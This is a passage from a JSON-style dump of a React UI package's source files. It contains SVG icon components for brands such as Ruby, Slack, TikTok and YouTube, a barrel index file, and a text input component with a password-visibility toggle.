.1.126.18.28.18s.28-.08.28-.18c0-.008-.001-.016-.002-.023-.01-.04-.033-.07-.067-.094A.37.37 0 0 0-4.43.342a.37.37 0 0 0-.204.056c-.04.028-.064.06-.072.093zm.513-.106c.03.024.05.052.063.083.013-.01.02-.025.02-.04 0-.03-.023-.052-.052-.052-.01 0-.022.004-.03.01zm-.5-.01c-.03 0-.052.023-.052.052 0 .016.007.03.018.04.012-.03.034-.06.063-.082-.01-.006-.02-.01-.03-.01zm.497-.203c-.02 0-.038.017-.038.038s.017.038.038.038.038-.017.038-.038-.017-.038-.038-.038zm-.233.476c-.05 0-.087-.01-.11-.034.005-.023.013-.023.018-.018.018.018.048.027.092.027s.074-.01.092-.027c.017-.002.02.001.02.006-.026.035-.063.047-.114.047z\" />\n      <path\n        d=\"M-4.325.436c-.026 0-.048.022-.048.048s.022.047.048.047.047-.02.047-.047-.02-.048-.047-.048zm-.207 0c-.026 0-.048.022-.048.048s.022.047.048.047.047-.02.047-.047-.02-.048-.047-.048z\"\n        fill=\"#ff4500\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/ruby.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Ruby(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 199 198\"\n      fill=\"none\"\n      {...props}\n    >\n      <g fillRule=\"evenodd\" clipPath=\"url(#a)\" clipRule=\"evenodd\">\n        <path\n          fill=\"#871101\"\n          fillOpacity={0.8}\n          d=\"M153.5 130.41 40.38 197.58l146.469-9.939L198.13 39.95l-44.63 90.46Z\"\n        />\n        <path\n          fill=\"#871101\"\n          d=\"M187.089 187.54 174.5 100.65l-34.291 45.28 46.88 41.61Z\"\n        />\n        <path\n          fill=\"url(#b)\"\n          d=\"M187.259 187.54 95.03 180.3l-54.16 17.091 146.389-9.851Z\"\n        />\n        <path\n          fill=\"url(#c)\"\n          d=\"m41 197.41 23.04-75.48-50.7 10.841L41 197.41Z\"\n        />\n        <path\n          fill=\"url(#d)\"\n          d=\"M140.2 146.18 119 63.14l-60.67 56.87 81.87 26.17Z\"\n        />\n        <path\n          fill=\"url(#e)\"\n          d=\"m193.32 64.31-57.35-46.84L120 69.1l73.32-4.79Z\"\n        />\n        <path fill=\"url(#f)\" d=\"m166.5.77-33.73 18.64L111.49.52l55.01.25Z\" />\n        <path fill=\"url(#g)\" d=\"m0 158.09 14.13-25.77-11.43-30.7L0 158.09Z\" />\n        <path\n          fill=\"#fff\"\n          d=\"m1.94 100.65 11.5 32.62 49.97-11.211 57.05-53.02 16.1-51.139L111.209 0l-43.1 16.13c-13.58 12.63-39.93 37.62-40.88 38.09-.94.48-17.4 31.59-25.29 46.43Z\"\n        />\n        <path\n          fill=\"url(#h)\"\n          d=\"M42.32 42.05c29.43-29.18 67.37-46.42 81.93-31.73 14.551 14.69-.88 50.39-30.31 79.56s-66.9 47.36-81.45 32.67c-14.56-14.68.4-51.33 29.83-80.5Z\"\n        />\n        <path\n          fill=\"url(#i)\"\n          d=\"m41 197.38 22.86-75.72 75.92 24.39c-27.45 25.74-57.98 47.5-98.78 51.33Z\"\n        />\n        <path\n          fill=\"url(#j)\"\n          d=\"m120.56 68.89 19.49 77.2c22.93-24.11 43.51-50.03 53.589-82.09l-73.079 4.89Z\"\n        />\n        <path\n          fill=\"url(#k)\"\n          d=\"M193.44 64.39c7.8-23.54 9.6-57.31-27.181-63.58l-30.18 16.67 57.361 46.91Z\"\n        />\n        <path\n          fill=\"#9E1209\"\n          d=\"M0 157.75c1.08 38.851 29.11 39.43 41.05 39.771L13.47 133.11 0 157.75Z\"\n        />\n        <path\n          fill=\"url(#l)\"\n          d=\"M120.669 69.01c17.62 10.83 53.131 32.58 53.851 32.98 1.119.63 15.31-23.93 18.53-37.81l-72.381 4.83Z\"\n        />\n        <path\n          fill=\"url(#m)\"\n          d=\"m63.83 121.66 30.56 58.96c18.07-9.8 32.22-21.74 45.18-34.53l-75.74-24.43Z\"\n        />\n        <path\n          fill=\"url(#n)\"\n          d=\"m13.35 133.19-4.33 51.56c8.17 11.16 19.41 12.13 31.2 11.26-8.53-21.23-25.57-63.68-26.87-62.82Z\"\n        />\n        <path\n          fill=\"url(#o)\"\n          d=\"m135.9 17.61 60.71 8.52C193.37 12.4 183.42 3.54 166.46.77L135.9 17.61Z\"\n        />\n      </g>\n      <defs>\n        <linearGradient\n          id=\"b\"\n          x1={151.795}\n          x2={97.93}\n          y1={217.785}\n          y2={181.638}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#871101\" />\n          <stop offset={0.99} stopColor=\"#911209\" />\n          <stop offset={1} stopColor=\"#911209\" />\n        </linearGradient>\n        <linearGradient\n          id=\"c\"\n          x1={38.696}\n          x2={47.047}\n          y1={127.391}\n          y2={181.661}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" />\n          <stop offset={0.23} stopColor=\"#E57252\" />\n          <stop offset={0.46} stopColor=\"#DE3B20\" />\n          <stop offset={0.99} stopColor=\"#A60003\" />\n          <stop offset={1} stopColor=\"#A60003\" />\n        </linearGradient>\n        <linearGradient\n          id=\"d\"\n          x1={96.133}\n          x2={99.21}\n          y1={76.715}\n          y2={132.102}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" />\n          <stop offset={0.23} stopColor=\"#E4714E\" />\n          <stop offset={0.56} stopColor=\"#BE1A0D\" />\n          <stop offset={0.99} stopColor=\"#A80D00\" />\n          <stop offset={1} stopColor=\"#A80D00\" />\n        </linearGradient>\n        <linearGradient\n          id=\"e\"\n          x1={147.103}\n          x2={156.314}\n          y1={25.521}\n          y2={65.216}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" />\n          <stop offset={0.18} stopColor=\"#E46342\" />\n          <stop offset={0.4} stopColor=\"#C82410\" />\n          <stop offset={0.99} stopColor=\"#A80D00\" />\n          <stop offset={1} stopColor=\"#A80D00\" />\n        </linearGradient>\n        <linearGradient\n          id=\"f\"\n          x1={118.976}\n          x2={158.669}\n          y1={11.541}\n          y2={-8.305}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" />\n          <stop offset={0.54} stopColor=\"#C81F11\" />\n          <stop offset={0.99} stopColor=\"#BF0905\" />\n          <stop offset={1} stopColor=\"#BF0905\" />\n        </linearGradient>\n        <linearGradient\n          id=\"g\"\n          x1={3.903}\n          x2={7.17}\n          y1={113.555}\n          y2={146.263}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#fff\" />\n          <stop offset={0.31} stopColor=\"#DE4024\" />\n          <stop offset={0.99} stopColor=\"#BF190B\" />\n          <stop offset={1} stopColor=\"#BF190B\" />\n        </linearGradient>\n        <linearGradient\n          id=\"h\"\n          x1={-18.556}\n          x2={135.015}\n          y1={155.104}\n          y2={-2.809}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#BD0012\" />\n          <stop offset={0.07} stopColor=\"#fff\" />\n          <stop offset={0.17} stopColor=\"#fff\" />\n          <stop offset={0.27} stopColor=\"#C82F1C\" />\n          <stop offset={0.33} stopColor=\"#820C01\" />\n          <stop offset={0.46} stopColor=\"#A31601\" />\n          <stop offset={0.72} stopColor=\"#B31301\" />\n          <stop offset={0.99} stopColor=\"#E82609\" />\n          <stop offset={1} stopColor=\"#E82609\" />\n        </linearGradient>\n        <linearGradient\n          id=\"i\"\n          x1={99.075}\n          x2={52.818}\n          y1={171.033}\n          y2={159.617}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#8C0C01\" />\n          <stop offset={0.54} stopColor=\"#990C00\" />\n          <stop offset={0.99} stopColor=\"#A80D0E\" />\n          <stop offset={1} stopColor=\"#A80D0E\" />\n        </linearGradient>\n        <linearGradient\n          id=\"j\"\n          x1={178.526}\n          x2={137.433}\n          y1={115.515}\n          y2={78.684}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#7E110B\" />\n          <stop offset={0.99} stopColor=\"#9E0C00\" />\n          <stop offset={1} stopColor=\"#9E0C00\" />\n        </linearGradient>\n        <linearGradient\n          id=\"k\"\n          x1={193.623}\n          x2={173.154}\n          y1={47.937}\n          y2={26.054}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#79130D\" />\n          <stop offset={0.99} stopColor=\"#9E120B\" />\n          <stop offset={1} stopColor=\"#9E120B\" />\n        </linearGradient>\n        <linearGradient\n          id=\"n\"\n          x1={26.67}\n          x2={9.989}\n          y1={197.336}\n          y2={140.742}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#8B2114\" />\n          <stop offset={0.43} stopColor=\"#9E100A\" />\n          <stop offset={0.99} stopColor=\"#B3100C\" />\n          <stop offset={1} stopColor=\"#B3100C\" />\n        </linearGradient>\n        <linearGradient\n          id=\"o\"\n          x1={154.641}\n          x2={192.039}\n          y1={9.798}\n          y2={26.306}\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#B31000\" />\n          <stop offset={0.44} stopColor=\"#910F08\" />\n          <stop offset={0.99} stopColor=\"#791C12\" />\n          <stop offset={1} stopColor=\"#791C12\" />\n        </linearGradient>\n        <radialGradient\n          id=\"l\"\n          cx={0}\n          cy={0}\n          r={1}\n          gradientTransform=\"translate(143.831 79.388) scale(50.3576)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#A80D00\" />\n          <stop offset={0.99} stopColor=\"#7E0E08\" />\n          <stop offset={1} stopColor=\"#7E0E08\" />\n        </radialGradient>\n        <radialGradient\n          id=\"m\"\n          cx={0}\n          cy={0}\n          r={1}\n          gradientTransform=\"translate(74.092 145.751) scale(66.9437)\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#A30C00\" />\n          <stop offset={0.99} stopColor=\"#800E08\" />\n          <stop offset={1} stopColor=\"#800E08\" />\n        </radialGradient>\n        <clipPath id=\"a\">\n          <path fill=\"#fff\" d=\"M0 0h198.13v197.58H0z\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/slack.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Slack(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"14\"\n      height=\"14\"\n      fill=\"none\"\n      viewBox=\"0 0 14 14\"\n      {...props}\n    >\n      <path\n        fill=\"currentColor\"\n        fillRule=\"evenodd\"\n        d=\"M5.118 0c-.772 0-1.396.627-1.396 1.4s.625 1.399 1.396 1.4h1.396V1.4C6.514.628 5.89.001 5.118 0m0 3.733H1.396c-.772 0-1.397.628-1.396 1.4-.001.772.624 1.4 1.395 1.4h3.723c.771 0 1.396-.627 1.396-1.4s-.625-1.4-1.396-1.4M13.958 5.133c0-.772-.624-1.4-1.396-1.4s-1.397.628-1.396 1.4v1.4h1.396c.772 0 1.397-.627 1.396-1.4m-3.722 0V1.4C10.236.628 9.612 0 8.84 0S7.444.627 7.444 1.4v3.733c0 .772.624 1.4 1.396 1.4s1.396-.627 1.396-1.4M8.84 14c.771 0 1.396-.627 1.396-1.4s-.625-1.399-1.396-1.4H7.444v1.4c0 .772.624 1.399 1.396 1.4m0-3.734h3.722c.772 0 1.397-.627 1.396-1.4a1.4 1.4 0 0 0-1.396-1.4H8.84c-.771 0-1.396.627-1.396 1.4s.624 1.4 1.396 1.4M0 8.866c0 .773.624 1.4 1.396 1.4s1.397-.627 1.396-1.4v-1.4H1.396c-.772.001-1.397.628-1.396 1.4m3.722 0V12.6c-.001.772.624 1.399 1.396 1.4s1.396-.627 1.396-1.4V8.868a1.397 1.397 0 1 0-2.791-.001\"\n        clipRule=\"evenodd\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/sort-order.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\n\nconst upPath = \"M6.75 8.25L4 11L1.25 8.25\";\nconst downPath = \"M6.75 3.75L4 1L1.25 3.75\";\n\nexport function SortOrder({\n  order,\n  className,\n}: {\n  order: \"asc\" | \"desc\" | null;\n  className?: string;\n}) {\n  return (\n    <svg\n      className={cn(\"w-2 text-neutral-950\", className)}\n      viewBox=\"0 0 8 12\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <motion.path\n        className={cn(!order && \"opacity-40\")}\n        animate={{ d: order === \"asc\" ? downPath : upPath }}\n        stroke=\"currentColor\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <motion.path\n        className=\"opacity-40\"\n        animate={{ d: order === \"asc\" ? upPath : downPath }}\n        stroke=\"currentColor\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/success.tsx",
    "content": "export function Success({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 20 20\"\n      fill=\"currentColor\"\n      height=\"20\"\n      width=\"20\"\n      className={className}\n    >\n      <path\n        fillRule=\"evenodd\"\n        d=\"M10 18a8 8 0 100-16 8 8 0 000 16zm3.857-9.809a.75.75 0 00-1.214-.882l-3.483 4.79-1.88-1.88a.75.75 0 10-1.06 1.061l2.5 2.5a.75.75 0 001.137-.089l4-5.5z\"\n        clipRule=\"evenodd\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/tick.tsx",
    "content": "export function Tick({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M20 6L9 17l-5-5\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/tiktok.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function TikTok(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"17\"\n      height=\"19\"\n      fill=\"none\"\n      viewBox=\"0 0 17 19\"\n      {...props}\n    >\n      <path\n        fill=\"#FF004F\"\n        d=\"M12.581 6.841a7.56 7.56 0 0 0 4.382 1.389V5.116q-.465 0-.92-.096v2.452a7.56 7.56 0 0 1-4.382-1.389v6.355c0 3.179-2.602 5.756-5.812 5.756a5.82 5.82 0 0 1-3.236-.974 5.82 5.82 0 0 0 4.156 1.732c3.21 0 5.812-2.577 5.812-5.756zM13.717 3.7a4.32 4.32 0 0 1-1.136-2.54V.757h-.872c.22 1.24.968 2.3 2.008 2.941M4.643 14.781a2.6 2.6 0 0 1-.543-1.594c0-1.454 1.19-2.633 2.659-2.633.274 0 .546.041.806.123V7.494a6 6 0 0 0-.92-.053V9.92a2.7 2.7 0 0 0-.806-.123c-1.469 0-2.659 1.179-2.659 2.633a2.63 2.63 0 0 0 1.463 2.352\"\n      ></path>\n      <path\n        fill=\"#171717\"\n        d=\"M11.66 6.083a7.56 7.56 0 0 0 4.382 1.389V5.02a4.4 4.4 0 0 1-2.326-1.32A4.36 4.36 0 0 1 11.709.757H9.418v12.438c-.005 1.45-1.194 2.624-2.659 2.624-.863 0-1.63-.408-2.116-1.04A2.63 2.63 0 0 1 3.18 12.43c0-1.454 1.19-2.633 2.659-2.633q.423.001.807.123V7.441c-3.154.065-5.69 2.616-5.69 5.755 0 1.566.632 2.987 1.657 4.025a5.83 5.83 0 0 0 3.235.973c3.21 0 5.812-2.577 5.812-5.756z\"\n      ></path>\n      <path\n        fill=\"#00F2EA\"\n        d=\"M16.043 5.02v-.662a4.4 4.4 0 0 1-2.327-.658 4.4 4.4 0 0 0 2.327 1.32M11.709.759a4 4 0 0 1-.048-.357V0H8.498v12.438c-.005 1.45-1.193 2.624-2.659 2.624a2.7 2.7 0 0 1-1.196-.28 2.66 2.66 0 0 0 2.116 1.038c1.466 0 2.654-1.174 2.659-2.624V.758zM6.646 7.442v-.706a6 6 0 0 0-.797-.054c-3.21 0-5.813 2.577-5.813 5.756a5.74 5.74 0 0 0 2.577 4.783 5.7 5.7 0 0 1-1.657-4.025c0-3.138 2.536-5.69 5.69-5.754\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/twitter.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Twitter({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"300\"\n      height=\"300\"\n      viewBox=\"0 0 300 300\"\n      version=\"1.1\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"p-px\", className)}\n    >\n      <path\n        stroke=\"currentColor\"\n        d=\"M178.57 127.15 290.27 0h-26.46l-97.03 110.38L89.34 0H0l117.13 166.93L0 300.25h26.46l102.4-116.59 81.8 116.59h89.34M36.01 19.54H76.66l187.13 262.13h-40.66\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/typescript.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Typescript(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 128 128\"\n      fill=\"none\"\n      {...props}\n    >\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        width={128}\n        height={128}\n        fill=\"none\"\n        {...props}\n      >\n        <path\n          fill=\"currentColor\"\n          fillRule=\"evenodd\"\n          d=\"M6 0h116a6 6 0 0 1 6 6v116a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6V6a6 6 0 0 1 6-6Zm68.262 113.494V99.468c2.535 2.133 5.288 3.733 8.26 4.799 2.97 1.067 5.971 1.6 9.001 1.6 1.778 0 3.329-.161 4.654-.482 1.326-.321 2.433-.767 3.322-1.337.888-.57 1.551-1.242 1.988-2.016a5.04 5.04 0 0 0 .655-2.52c0-1.228-.349-2.323-1.049-3.287-.699-.965-1.653-1.856-2.862-2.674-1.209-.818-2.644-1.607-4.304-2.367-1.66-.76-3.452-1.534-5.375-2.323-4.895-2.045-8.543-4.544-10.947-7.495C75.202 78.415 74 74.85 74 70.672c0-3.273.656-6.085 1.966-8.438a16.732 16.732 0 0 1 5.354-5.807c2.257-1.52 4.872-2.637 7.844-3.353C92.135 52.358 95.28 52 98.603 52c3.263 0 6.154.197 8.674.592 2.52.394 4.843 1 6.97 1.819v13.105a21.071 21.071 0 0 0-3.43-1.929 27.158 27.158 0 0 0-3.824-1.38 29.09 29.09 0 0 0-3.911-.811 27.607 27.607 0 0 0-3.693-.263c-1.602 0-3.059.153-4.37.46-1.31.307-2.418.738-3.32 1.293-.904.555-1.603 1.22-2.098 1.994-.496.775-.743 1.644-.743 2.608 0 1.052.276 1.995.83 2.827.553.833 1.34 1.622 2.36 2.367 1.02.745 2.257 1.476 3.714 2.192a84.756 84.756 0 0 0 4.938 2.213c2.506 1.052 4.756 2.17 6.752 3.353 1.995 1.183 3.707 2.52 5.134 4.01a15.632 15.632 0 0 1 3.278 5.107c.757 1.914 1.136 4.142 1.136 6.684 0 3.506-.663 6.45-1.988 8.831a16.179 16.179 0 0 1-5.397 5.786c-2.273 1.476-4.916 2.535-7.932 3.178-3.015.643-6.198.964-9.548.964-3.438 0-6.708-.292-9.81-.877-3.103-.584-5.79-1.461-8.063-2.629ZM69 64.554H50.703V116H36.208V64.554H18V53h51v11.554Z\"\n          clipRule=\"evenodd\"\n        />\n      </svg>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/unsplash.tsx",
    "content": "export function Unsplash({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"32\"\n      height=\"32\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 32 32\"\n      className={className}\n    >\n      <path\n        d=\"M10 9V0h12v9H10zm12 5h10v18H0V14h10v9h12v-9z\"\n        fill=\"currentColor\"\n        fillRule=\"nonzero\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/user-clock.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UserClock(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width={18}\n      height={18}\n      viewBox=\"0 0 18 18\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M9 7.25C10.519 7.25 11.75 6.019 11.75 4.5C11.75 2.981 10.519 1.75 9 1.75C7.481 1.75 6.25 2.981 6.25 4.5C6.25 6.019 7.481 7.25 9 7.25Z\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M9.39805 9.7856C9.26475 9.7758 9.13625 9.75 9.00035 9.75C6.44935 9.75 4.26135 11.28 3.29135 13.47C2.92635 14.295 3.37835 15.2439 4.23835 15.5149C5.27485 15.8423 6.61564 16.1218 8.15934 16.2041\"\n        stroke=\"currentColor\"\n        strokeWidth={1.5}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M14 10C11.7939 10 10 11.7944 10 14C10 16.2056 11.7939 18 14 18C16.2061 18 18 16.2056 18 14C18 11.7944 16.2061 10 14 10ZM16.3125 14.9502C16.1934 15.2398 15.9141 15.415 15.6191 15.415C15.5234 15.415 15.4277 15.3969 15.3339 15.3588L13.7148 14.6938C13.4336 14.5781 13.25 14.3042 13.25 14V12.25C13.25 11.8359 13.5859 11.5 14 11.5C14.4141 11.5 14.75 11.8359 14.75 12.25V13.4971L15.9043 13.9712C16.2871 14.1284 16.4707 14.5669 16.3125 14.9502Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/youtube.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function YouTube({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      version=\"1.1\"\n      width=\"256\"\n      height=\"256\"\n      viewBox=\"0 0 256 256\"\n      className={cn(\"text-[#ff0000]\", className)}\n    >\n      <defs></defs>\n      <g\n        style={{\n          stroke: \"none\",\n          strokeWidth: 0,\n          strokeDasharray: \"none\",\n          strokeLinecap: \"butt\",\n          strokeLinejoin: \"miter\",\n          strokeMiterlimit: 10,\n          fill: \"#ff0000\",\n          fillRule: \"nonzero\",\n          opacity: 1,\n        }}\n        transform=\"translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)\"\n      >\n        <path\n          d=\"M 88.119 23.338 c -1.035 -3.872 -4.085 -6.922 -7.957 -7.957 C 73.144 13.5 45 13.5 45 13.5 s -28.144 0 -35.162 1.881 c -3.872 1.035 -6.922 4.085 -7.957 7.957 C 0 30.356 0 45 0 45 s 0 14.644 1.881 21.662 c 1.035 3.872 4.085 6.922 7.957 7.957 C 16.856 76.5 45 76.5 45 76.5 s 28.144 0 35.162 -1.881 c 3.872 -1.035 6.922 -4.085 7.957 -7.957 C 90 59.644 90 45 90 45 S 90 30.356 88.119 23.338 z M 36 58.5 v -27 L 59.382 45 L 36 58.5 z\"\n          style={{\n            stroke: \"none\",\n            strokeWidth: 1,\n            strokeDasharray: \"none\",\n            strokeLinecap: \"butt\",\n            strokeLinejoin: \"miter\",\n            strokeMiterlimit: 10,\n            fill: \"currentColor\",\n            fillRule: \"nonzero\",\n            opacity: 1,\n          }}\n          transform=\" matrix(1 0 0 1 0 0) \"\n          strokeLinecap=\"round\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/index.tsx",
    "content": "// styles\nimport \"./styles.css\";\n\n// components\nexport * from \"./accordion\";\nexport * from \"./activity-ring\";\nexport * from \"./alert\";\nexport * from \"./avatar\";\nexport * from \"./badge\";\nexport * from \"./button\";\nexport * from \"./card-list\";\nexport * from \"./card-selector\";\nexport * from \"./carousel\";\nexport * from \"./checkbox\";\nexport * from \"./combobox\";\nexport * from \"./date-picker\";\nexport * from \"./dots-pattern\";\nexport * from \"./dub-status-badge\";\nexport * from \"./empty-state\";\nexport * from \"./file-upload\";\nexport * from \"./filter\";\nexport * from \"./form\";\nexport * from \"./grid\";\nexport * from \"./input\";\nexport * from \"./label\";\nexport * from \"./menu-item\";\nexport * from \"./mini-area-chart\";\nexport * from \"./modal\";\nexport * from \"./multi-value-input\";\nexport * from \"./number-stepper\";\nexport * from \"./pagination-controls\";\nexport * from \"./popover\";\nexport * from \"./progress-circle\";\nexport * from \"./progressive-blur\";\nexport * from \"./radio-group\";\nexport * from \"./rich-text-area\";\nexport * from \"./scroll-container\";\nexport * from \"./sheet\";\nexport * from \"./shimmer-dots\";\nexport * from \"./slider\";\nexport * from \"./smart-datetime-picker\";\nexport * from \"./status-badge\";\nexport * from \"./switch\";\nexport * from \"./table\";\nexport * from \"./timestamp-tooltip\";\nexport * from \"./toggle-group\";\nexport * from \"./tooltip\";\nexport * from \"./utm-builder\";\n\n// hooks\nexport * from \"./hooks\";\n\n// icons\nexport * from \"./icons\";\n\n// layout\nexport * from \"./background\";\nexport * from \"./footer\";\nexport * from \"./max-width-wrapper\";\nexport * from \"./nav\";\n\n// content\nexport * from \"./content\";\n\n// misc\nexport * from \"./animated-size-container\";\nexport * from \"./blur-image\";\nexport * from \"./client-only\";\nexport * from \"./copy-button\";\nexport * from \"./copy-text\";\nexport * from \"./icon-menu\";\nexport * from \"./inline-snippet\";\nexport * from \"./link-logo\";\nexport * from \"./link-preview\";\nexport * from \"./motion-constants\";\nexport * from \"./popup\";\nexport * from \"./progress-bar\";\nexport * from \"./tab-select\";\nexport * from \"./tooltip-advanced-link-features\";\n\n// logos\nexport * from \"./composite-logo\";\nexport * from \"./logo\";\nexport * from \"./nav-wordmark\";\nexport * from \"./wordmark\";\n"
  },
  {
    "path": "packages/ui/src/inline-snippet.tsx",
    "content": "export const InlineSnippet = ({ children }: { children: string }) => {\n  return (\n    <span className=\"inline-block rounded-md bg-blue-100 px-1 py-0.5 font-mono text-blue-900\">\n      {children}\n    </span>\n  );\n};\n"
  },
  {
    "path": "packages/ui/src/input.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { AlertCircle } from \"lucide-react\";\nimport React, { useCallback, useState } from \"react\";\nimport { Eye, EyeSlash } from \"./icons\";\n\nexport interface InputProps\n  extends React.InputHTMLAttributes<HTMLInputElement> {\n  error?: string;\n}\n\nconst Input = React.forwardRef<HTMLInputElement, InputProps>(\n  ({ className, type, ...props }, ref) => {\n    const [isPasswordVisible, setIsPasswordVisible] = useState(false);\n\n    const toggleIsPasswordVisible = useCallback(\n      () => setIsPasswordVisible(!isPasswordVisible),\n      [isPasswordVisible, setIsPasswordVisible],\n    );\n\n    return (\n      <div>\n        <div className=\"relative flex\">\n          <input\n            type={isPasswordVisible ? \"text\" : type}\n            className={cn(\n              \"w-full max-w-md rounded-md border border-neutral-300 text-neutral-900 placeholder-neutral-400 read-only:bg-neutral-100 read-only:text-neutral-500 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n              props.error &&\n                \"border-red-500 focus:border-red-500 focus:ring-red-500\",\n              className,\n            )}\n            ref={ref}\n            {...props}\n          />\n\n          <div className=\"group\">\n            {props.error && (\n              <div className=\"pointer-events-none absolute inset-y-0 right-0 flex flex-none items-center px-2.5\">\n                <AlertCircle\n                  className={cn(\n                    \"size-5 text-white\",\n                    type === \"password\" &&\n                      \"transition-opacity group-hover:opacity-0\",\n                  )}\n                  fill=\"#ef4444\"\n                />\n              </div>\n            )}\n            {type === \"password\" && (\n              <button\n                className={cn(\n                  \"absolute inset-y-0 right-0 flex items-center px-3\",\n                  props.error &&\n                    \"opacity-0 transition-opacity group-hover:opacity-100\",\n                )}\n                type=\"button\"\n                onClick={() => toggleIsPasswordVisible()}\n                aria-label={\n                  isPasswordVisible ? \"Hide password\" : \"Show Password\"\n                }\n              >\n                {isPasswordVisible ? (\n                  <Eye\n                    className=\"size-4 flex-none text-neutral-500 transition hover:text-neutral-700\"\n                    aria-hidden\n                  />\n                ) : (\n                  <EyeSlash\n                    className=\"size-4 flex-none text-neutral-500 transition hover:text-neutral-700\"\n                    aria-hidden\n                  />\n                )}\n              </button>\n            )}\n          </div>\n        </div>\n\n        {props.error && (\n          <span\n            className=\"mt-2 block text-sm text-red-500\"\n            role=\"alert\"\n            aria-live=\"assertive\"\n          >\n            {props.error}\n          </span>\n        )}\n      </div>\n    );\n  },\n);\n\nInput.displayName = \"Input\";\n\nexport { Input };\n"
  },
  {
    "path": "packages/ui/src/label.tsx",
